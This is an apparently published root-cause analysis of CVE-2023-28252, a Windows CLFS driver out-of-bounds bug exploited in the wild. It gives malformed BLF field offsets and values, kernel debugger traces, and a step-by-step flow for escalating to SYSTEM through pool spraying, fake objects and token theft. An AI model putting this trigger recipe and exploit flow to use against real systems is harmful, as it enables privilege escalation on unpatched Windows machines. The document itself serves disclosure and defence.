CVE-2023-28252: Windows Common Log File System Driver Elevation of Privilege Vulnerability
Genwei Jiang, FLARE OTF
The Basics
Disclosure or Patch Date: April 11, 2023
Product: Windows
Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-28252
Affected Versions: Before security updates of April 11, 2023, for Windows 10, 11 and Windows Server 2008, 2012, 2016, 2019, 2022
First Patched Version: Security updates of April 11, 2023, for CVE-2023-28252
Issue/Bug Report: MSRC-78564
Patch CL: N/A
Bug-Introducing CL: N/A
Reporter(s): Boris Larin (oct0xor) with Kaspersky, Genwei Jiang with FLARE OTF of Google Cloud + Mandiant, Quan Jin with DBAPPSecurity WeBin Lab
The Code
Proof-of-concept: See exploit sample
Exploit sample: https://www.virustotal.com/gui/file/018c464676b4a71be83bc073f482e94a4850e9c24abe4c4ed1285258ca95a21e
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: Out-Of-Bound Read/Write
Vulnerability details:
An Out of bound(OOB) read and write vulnerability exists in CClfsBaseFilePersisted::ExtendMetadataBlock
and CClfsBaseFilePersisted::WriteMetadataBlock
when parsing a malformed BLF
file. The malformed BLF
file is constructed similar to the pseudo code of following, that the fields of ControlRecordShadow.iExtendBlock
and ControlRecordShadow.iFlushBlock
both set as 0x13
, this leads to out of bound read in CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock
and CLFS!CClfsBaseFilePersisted::WriteMetadataBlock
.
// params: blf path, offset, value, size
WriteFileAt(blf_ext, 0x484, 0x2, 4); // ControlRecordShadow.eExtendState == ClfsExtendStateFlushingBlock
WriteFileAt(blf_ext, 0x488, 0x13, 2); // ControlRecordShadow.iExtendBlock
WriteFileAt(blf_ext, 0x48a, 0x13, 2); // ControlRecordShadow.iFlushBlock
WriteFileAt(blf_ext, 0x84, 0x2, 4); // ControlRecord.eExtendState == ClfsExtendStateFlushingBlock
WriteFileAt(blf_ext, 0x88, 0x4, 2); // ControlRecord.iExtendBlock
WriteFileAt(blf_ext, 0x8a, 0x4, 2); // ControlRecord.iFlushBlock
WriteFileAt(blf_ext, 0x90, 0x1, 4); // ControlRecord.cExtendStartSectors == 1
WriteFileAt(blf_ext, 0x94, 0x3, 4); // ControlRecord.cExtendSectors == 3
WriteFileAt(blf_ext, 0x9c, 0x2, 4); // ControlRecord.cxTruncate.cClients == 2
WriteFileAt(blf_ext, 0x70, 0x2, 4); // ControlRecord.hdrControlRecord.ullDumpCount == 2
WriteFileAt(blf_ext, 0x6, 0x1, 2); // ControlRecordHeader.ValidSectorCount == 1
By enabling the special pool for clfs.sys
, a tyipcal BSOD would occur in CClfsBaseFilePersisted::ExtendMetadataBlock
as followings:
TRAP_FRAME: ffffad89e9379240 -- (.trap 0xffffad89e9379240)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffff8a03a5212f70 rbx=0000000000000000 rcx=0000000000000039 // 0x13 * 3
rdx=0000000000000013 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801724b14e4 rsp=ffffad89e93793d0 rbp=0000000000000002
r8=0000000000000390 r9=0000000000000013 r10=ffffb209f6ef0c70
r11=0000000000000001 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x3e8:
fffff801`724b14e4 448b44c808 mov r8d,dword ptr [rax+rcx*8+8] ds:ffff8a03`a5213140=????????
Resetting default scope
STACK_TEXT:
ffffad89`e93787e8 fffff801`72b344a2 : ffffad89`e9378950 fffff801`7299ca50 fffff801`72460000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffad89`e93787f0 fffff801`72b33a86 : fffff801`00000003 ffffad89`e9378950 fffff801`72a2f690 ffffad89`e9378ea0 : nt!KiBugCheckDebugBreak+0x12
ffffad89`e9378850 fffff801`72a183a7 : 00000000`00000000 00000000`00000000 ffff8a03`a5213140 ffff8a03`a5213140 : nt!KeBugCheck2+0x946
ffffad89`e9378f60 fffff801`72a5321d : 00000000`00000050 ffff8a03`a5213140 00000000`00000000 ffffad89`e9379240 : nt!KeBugCheckEx+0x107
ffffad89`e9378fa0 fffff801`72858a40 : 00000000`00000000 00000000`00000000 ffffad89`e93792c0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffad89`e93790a0 fffff801`72a27dd8 : ffffb209`f6ef0c00 00000000`00000000 00000000`00000000 ffffb209`f6eeec00 : nt!MmAccessFault+0x400
ffffad89`e9379240 fffff801`724b14e4 : 00000000`00000000 ffffad89`e9379578 ffff8a03`a5210f90 00000000`00000000 : nt!KiPageFault+0x358
ffffad89`e93793d0 fffff801`7248b489 : ffff8a03`a553b000 ffff8a03`00000002 ffff8a03`a5539201 ffffad89`00000030 : CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x3e8
ffffad89`e93794a0 fffff801`7248c90c : ffff8a03`a553b000 ffffad89`e93796a8 ffff8a03`a5539001 fffff801`72948a50 : CLFS!CClfsBaseFilePersisted::AddSymbol+0x10d
ffffad89`e9379520 fffff801`7248b036 : ffff8a03`a553b000 ffffad89`e93796a8 00000000`00000120 fffff801`00000000 : CLFS!CClfsBaseFilePersisted::AddContainer+0xdc
ffffad89`e93795d0 fffff801`724b4379 : ffff8a03`a5539000 fffff801`ffffffff ffffad89`e93796a8 fffff801`72ff489f : CLFS!CClfsLogFcbPhysical::AllocContainer+0x136
ffffad89`e9379670 fffff801`72492a25 : ffff8a03`a520aee0 00000000`00000020 00000000`00000040 00000000`00000040 : CLFS!CClfsRequest::AllocContainer+0x27d
ffffad89`e9379730 fffff801`72492537 : ffff8a03`a520aee0 fffff801`72ffab6d ffff8a03`a03e4540 00000000`00000204 : CLFS!CClfsRequest::Dispatch+0x351
ffffad89`e9379780 fffff801`72492487 : ffff8a03`a4e893e0 ffff8a03`a4e893e0 00000000`00000001 b209f6a9`bb900410 : CLFS!ClfsDispatchIoRequest+0x87
ffffad89`e93797d0 fffff801`72849715 : ffff8a03`a4e893e0 fffff801`72846610 00000000`00000020 00000000`20206f49 : CLFS!CClfsDriver::LogIoDispatch+0x27
ffffad89`e9379800 fffff801`72c385c8 : ffffad89`e9379b80 ffff8a03`a4e893e0 00000000`00000001 ffffad89`e9379b80 : nt!IofCallDriver+0x55
ffffad89`e9379840 fffff801`72c383c7 : 00000000`00000000 ffffad89`e9379b80 00000000`00000000 ffffad89`e9379b80 : nt!IopSynchronousServiceTail+0x1a8
ffffad89`e93798e0 fffff801`72c37746 : 00007ffd`8349e200 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
ffffad89`e9379a20 fffff801`72a2baf5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
ffffad89`e9379a90 00007ffd`8512d1a4 : 00007ffd`829e572b 00000000`00000001 00000206`d09aeb90 00000000`00000002 : nt!KiSystemServiceCopyEnd+0x25
00000070`e815f168 00007ffd`829e572b : 00000000`00000001 00000206`d09aeb90 00000000`00000002 00007ffd`850aa9c3 : ntdll!NtDeviceIoControlFile+0x14
00000070`e815f170 00007ffd`83395bf1 : 00000000`8007a808 00007ffd`850b47b1 00000206`d24a1460 00000206`d09a0000 : KERNELBASE!DeviceIoControl+0x6b
00000070`e815f1e0 00007ffd`71512895 : 00000206`d24a1460 00000000`00000000 00000000`00000000 00000000`00000001 : KERNEL32!DeviceIoControlImplementation+0x81
00000070`e815f230 00007ffd`7151245c : 00000000`000000c4 000088fd`00000021 00000070`e815f380 00000070`e815f360 : clfsw32!AddLogContainerSet+0x425
00000070`e815f310 00007ff7`7b251ea6 : 00000000`00000001 00000000`00000029 00000070`e815f790 00000000`00000000 : clfsw32!AddLogContainer+0x3c
00000070`e815f350 00000000`00000001 : 00000000`00000029 00000070`e815f790 00000000`00000000 00000000`00000004 : clfspoc0326!main+0xc6 [C:\devel\clfs74178\clfspoc0326\clfspoc0326.cpp @ 156]
00000070`e815f358 00000000`00000029 : 00000070`e815f790 00000000`00000000 00000000`00000004 00007ffd`00000000 : 0x1
00000070`e815f360 00000070`e815f790 : 00000000`00000000 00000000`00000004 00007ffd`00000000 00000000`00000200 : 0x29
00000070`e815f368 00000000`00000000 : 00000000`00000004 00007ffd`00000000 00000000`00000200 00000000`00000000 : 0x00000070`e815f790
1: kd> !pool ffff8a03a5212f70
Pool page ffff8a03a5212f70 region is Special pool
*ffff8a03a5212000 size: 90 data: ffff8a03a5212f70 (NonPaged) *Clfs
Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
1: kd> dq ffff8a03a5212f70 l90/8+2
ffff8a03`a5212f70 ffffb209`f6ef0c00 00000000`00000400
ffff8a03`a5212f80 00000000`00000000 ffffb209`f6ef0c00
ffff8a03`a5212f90 00000400`00000400 00000000`00000001
ffff8a03`a5212fa0 ffffb209`fba4a000 00000800`00007a00
ffff8a03`a5212fb0 00000000`00000002 ffffb209`fba4a000
ffff8a03`a5212fc0 00008200`00007a00 00000000`00000003
ffff8a03`a5212fd0 ffffb209`f6edee00 0000fc00`00000200
ffff8a03`a5212fe0 00000000`00000004 ffffb209`f6edee00
ffff8a03`a5212ff0 0000fe00`00000200 00000000`00000005
ffff8a03`a5213000 ????????`???????? ????????`????????
The OOB read in CLFS!CClfsBaseFilePersisted::WriteMetadataBlock
leads to one byte increment of the rgContainers[0]
value, that results pointing to a fake CONTAINER_CONTEXT
with a user space address 0x5000000
treated as an object's vftable pointer, detonating the placed gadgets and escalating privilege to SYSTEM
.
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=fffff8014a24c180
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e85 rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013 // 0x13
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x55:
fffff801`4b293e85 488d0c7500000000 lea rcx,[rsi*2]
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000026
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e8d rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x5d:
fffff801`4b293e8d 4803ce add rcx,rsi
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000039
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e90 rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x60:
fffff801`4b293e90 4c8d04cd00000000 lea r8,[rcx*8]
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=0000000000000039
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e98 rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=00000000000001c8 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x68:
fffff801`4b293e98 488b4f30 mov rcx,qword ptr [rdi+30h] ds:002b:ffff820b`cb188030=ffff820bccc2f1f0
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293e9c rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=00000000000001c8 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb00 r13=0000000000000013
r14=0000000000000002 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040206
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x6c:
fffff801`4b293e9c 4d8b3408 mov r14,qword ptr [r8+rcx] ds:002b:ffff820b`ccc2f3b8=ffffa3852abaa030
0: kd> !pool ffff820bccc2f1f0
Pool page ffff820bccc2f1f0 region is Nonpaged pool
ffff820bccc2f000 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
ffff820bccc2f0a0 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
ffff820bccc2f140 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
*ffff820bccc2f1e0 size: a0 previous size: 0 (Allocated) *Clfs
Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
ffff820bccc2f280 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
ffff820bccc2f320 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080 // out of bound read
ffff820bccc2f3c0 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
ffff820bccc2f460 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
ffff820bccc2f500 size: a0 previous size: 0 (Allocated) NpFr Process: ffff820bca40b080
0: kd> dq ffff820bccc2f320 l0n10
ffff820b`ccc2f320 7246704e`0a0a0000 e059536e`7b11e38d
ffff820b`ccc2f330 ffffa385`2d406518 ffffa385`2d406518
ffff820b`ccc2f340 00000000`00000000 ffffa385`2dac6460
ffff820b`ccc2f350 00000060`00000000 00000000`00000060
ffff820b`ccc2f360 ffffa385`2abaa030 ffffa385`2abaa030 // g_clfs_target_obj + 30
ffff820b`ccc2f370 ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f380 ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f390 ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f3a0 ffffa385`2abaa030 ffffa385`2abaa030
ffff820b`ccc2f3b0 ffffa385`2abaa030 ffffa385`2abaa030
0: kd> !pool ffffa385`2abaa030
Pool page ffffa3852abaa030 region is Paged pool
*ffffa3852abaa000 : large page allocation, tag is Clfs, size is 0x7a00 bytes
Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys
0: kd> db ffffa385`2abaa030-30 // prepared g_clfs_target_obj
ffffa385`2abaa000 15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
ffffa385`2abaa010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffa385`2abaa020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
ffffa385`2abaa030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abaa040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abaa050 00 00 00 00 00 00 00 00-69 03 00 00 00 00 00 00 ........i.......
ffffa385`2abaa060 00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00 .........y......
ffffa385`2abaa070 05 00 00 00 00 00 00 00-c8 62 45 5b e7 87 ed 11 .........bE[....
0: kd> db ffffa385`2abaa030-30+1470+70 // original CONTAINER_CONTEXT
ffffa385`2abab4e0 08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00 ....0...........
ffffa385`2abab4f0 00 00 00 00 00 00 00 00-50 c7 01 27 85 a3 ff ff ........P..'....
ffffa385`2abab500 01 00 00 00 02 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab510 5c 00 3f 00 3f 00 5c 00-43 00 3a 00 5c 00 55 00 \.?.?.\.C.:.\.U.
ffffa385`2abab520 73 00 65 00 72 00 73 00-5c 00 50 00 75 00 62 00 s.e.r.s.\.P.u.b.
ffffa385`2abab530 6c 00 69 00 63 00 5c 00-2e 00 63 00 6f 00 6e 00 l.i.c.\...c.o.n.
ffffa385`2abab540 74 00 61 00 69 00 6e 00-65 00 72 00 5f 00 31 00 t.a.i.n.e.r._.1.
ffffa385`2abab550 31 00 36 00 39 00 31 00-39 00 00 00 00 00 00 00 1.6.9.1.9.......
0: kd> db ffffa385`2abaa030-30+1570+70 // fake CONTAINER_CONTEXT
ffffa385`2abab5e0 08 f0 fd c1 30 00 00 00-00 00 00 00 00 00 00 00 ....0...........
ffffa385`2abab5f0 00 00 00 00 00 00 00 00-00 00 00 05 00 00 00 00 ................
ffffa385`2abab600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa385`2abab650 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0: kd> db ffffa385`2abaa030-30+398 l10 // rgContainers[0]
ffffa385`2abaa398 70 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00 p...............
...
0: kd>
rax=0000000000000001 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293ec2 rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=00000000000001c8 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x92:
fffff801`4b293ec2 418b4628 mov eax,dword ptr [r14+28h] ds:002b:ffffa385`2abaa058=00000369
0: kd>
rax=0000000000000369 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293ec6 rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=00000000000001c8 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x96:
fffff801`4b293ec6 4aff0430 inc qword ptr [rax+r14] ds:002b:ffffa385`2abaa399=0000000000000014 // one byte inc
0: kd>
rax=0000000000000369 rbx=0000000000000000 rcx=ffff820bccc2f1f0
rdx=0000000000000000 rsi=0000000000000013 rdi=ffff820bcb188000
rip=fffff8014b293eca rsp=fffff48ea2f7c340 rbp=0000000000000002
r8=00000000000001c8 r9=0000000000000013 r10=0000000000000000
r11=ffffa38528b05b20 r12=ffffa385273abb01 r13=0000000000000013
r14=ffffa3852abaa030 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040202
CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a:
fffff801`4b293eca 4e8b0c30 mov r9,qword ptr [rax+r14] ds:002b:ffffa385`2abaa399=0000000000000015
Patch analysis:
More BLF
format validation checks added in CClfsBaseFilePersisted::WriteMetadataBlock
and CClfsBaseFile::GetControlRecord
.
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.): The ITW exploitation strategies and code flows are close to the exploit of CVE-2023-23376. It's likely that this bug was found through variant analysis.
(Historical/present/future) context of bug:
- Feb 14, 2023: CVE-2023-23376
- Apr 11, 2023: CVE-2023-28252
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
Leverage the OOB read and subsequent one byte increment primitive to convert the vulnerability into a type confusion, that a user space address 0x5000000
treated as an object's vftable pointer, detonating the placed gadgets and escalating privilege to SYSTEM
.
Exploit flow:
The ITW exploit deploys similar strategy to escalate privilege to SYSTEM
for Windows 10 and Windows 11, the leveraged gadgets chain and arbitrary kernel memory read and write(ARW) primitive are different.
- Initialize APIs and related kernel object offsets
- Leak
SYSTEM
object's and current process's kernel address throughNtQuerySystemInformation
- Prepare gadgets APIs kernel address
- Create a target
BLF
file, prepare the CONTAINER_CONTEXT object at offset0x1470
and a fake CONTAINER_CONTEXT object at offset0x1570
- Create
10
triggeringBLF
files, that contains the malformed fields - Spray the pool through
Pipe
, fill in thePipe
data with targetedBLF
file object - Create holes by closing specific
Pipe
handles - Filling the holes by
CreateLogFile
on the triggeringBLF
file - Place gadgets at address
0x5000000
- Trigger the OOB vulnerability by
AddLogContainer
call on the triggeringBLF
file handle, causing the one byte increment of targetedBLF
object - Detonate gadgets by
CreateLogFile
call on the targetedBLF
file object
Exploit Gadgets for Windows 10:
The gadgets for Windows 10 overwrites the PreviousMode
of current process to KernelMode
, that enables the arbitrary kernel memory address read and write primitive through NtWriteVirtualMemory
call. The exploit escalates the privilege by overwriting the Token
of current process with the leaked SYSTEM
token.
0: kd> dq 00000000`05000000
00000000`05000000 00000000`05001000 ffff820b`c6fba2b2
00000000`05000010 00000000`00000000 00000000`00000000
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 ffff820b`ce789420 00000000`00000000
00000000`05000040 00000000`00000000 00000000`00000000
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 00000000`00000000
00000000`05000070 00000000`00000000 00000000`00000000
0: kd> dqs 00000000`05001000
00000000`05001000 fffff801`4b2a1d60 CLFS!ClfsMgmtDeregisterManagedClient
00000000`05001008 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001010 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001018 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001020 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001028 fffff801`4b74d700 nt!RtlClearBit
00000000`05001030 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001038 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001040 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001048 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001050 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001058 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001060 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001068 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001070 fffff801`4b272b50 CLFS!ClfsEarlierLsn
00000000`05001078 fffff801`4b272b50 CLFS!ClfsEarlierLsn
0: kd> dt nt!_file_object ffff820b`ce789420 FileName
+0x058 FileName : _UNICODE_STRING "\Users\Public\p_00003771"
0: kd> dt nt!_kthread ffff820b`c6fba2b2-232 PreviousMode
+0x232 PreviousMode : 1 ''
0: kd> db ffff820b`c6fba2b2 l10
ffff820b`c6fba2b2 01 08 00 00 00 00 14 00-00 00 00 00 00 00 01 00 ................
Exploit Gadgets for Windows 11:
The gadgets for Windows 11 corruppts the pipe attribute fields, that enables the arbitrary kernel memory address read and write primitive through NtFsControlFile
call. The exploit escalates the privilege by overwriting the Token
of current process with the leaked SYSTEM
token.
0: kd> dq 0000000005000000
00000000`05000000 00000000`05001000 00000000`00000000
00000000`05000010 00000000`00000000 00000000`00000000
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 ffff898a`65108450 00000000`00000000
00000000`05000040 00000000`05000000 00000000`05000400
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 fffff807`4105bfb0
00000000`05000070 00000000`00000000 00000000`00000000
0: kd> dt nt!_file_object ffff898a`65108450 FileName
+0x058 FileName : _UNICODE_STRING "\Users\Public\p_00029935"
0: kd> .printf "%y\n", fffff807`4105bfb0
CLFS!ClfsMgmtDeregisterManagedClient (fffff807`4105bfb0)
0: kd> dqs 00000000`05001000
00000000`05001000 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001008 fffff807`3c1dc3b0 nt!PoFxProcessorNotification
00000000`05001010 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001018 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001020 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001028 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001030 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001038 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001040 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001048 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001050 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001058 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001060 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001068 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001070 fffff807`41043220 CLFS!ClfsEarlierLsn
00000000`05001078 fffff807`41043220 CLFS!ClfsEarlierLsn
0: kd> dq 00000000`05000400
00000000`05000400 00000000`05001300 00000000`00000000
00000000`05000410 00000000`00000000 00000000`00000000
00000000`05000420 00000000`00000000 00000000`00000000
00000000`05000430 00000000`00000000 00000000`00000000
00000000`05000440 00000000`00000000 ffffa002`a73ff018
00000000`05000450 00000000`00000000 00000000`00000000
00000000`05000460 00000000`00000000 00000000`00000000
00000000`05000470 00000000`00000000 00000000`00000000
0: kd> dq ffffa002`a73ff018
ffffa002`a73ff018 00000000`00000fd6 ffffa002`a73ff02a
ffffa002`a73ff028 41414141`4141005a 41414141`41414141
ffffa002`a73ff038 41414141`41414141 41414141`41414141
ffffa002`a73ff048 41414141`41414141 41414141`41414141
ffffa002`a73ff058 41414141`41414141 41414141`41414141
ffffa002`a73ff068 41414141`41414141 41414141`41414141
ffffa002`a73ff078 41414141`41414141 41414141`41414141
ffffa002`a73ff088 41414141`41414141 41414141`41414141
0: kd> dqs 00000000`05001000+300
00000000`05001300 00000000`00000000
00000000`05001308 fffff807`3c7c69b0 nt!SeSetAccessStateGenericMapping
00000000`05001310 00000000`00000000
00000000`05001318 00000000`00000000
00000000`05001320 00000000`00000000
00000000`05001328 fffff807`41043220 CLFS!ClfsEarlierLsn
Known cases of the same exploit flow:
The gadgets are same as the ITW exploit of CVE-2023-23376
, the code layout has overlaps with the ITW exploit of CVE-2022-37969
.
Part of an exploit chain? N/A
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why): N/A
Found variants: N/A
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? Requires further research
Ideas to kill the bug class: N/A
Ideas to mitigate the exploit flow:
- Enable
SMAP
- Fix known kernel information leak through
NtQuerySystemInformation
Other potential improvements: N/A
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day? Requires further research
Other References
- https://github.com/ionescu007/clfs-docs
- https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2023/MNDT-2023-0005.md
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2022/MNDT-2022-0039/MNDT-2022-0039.md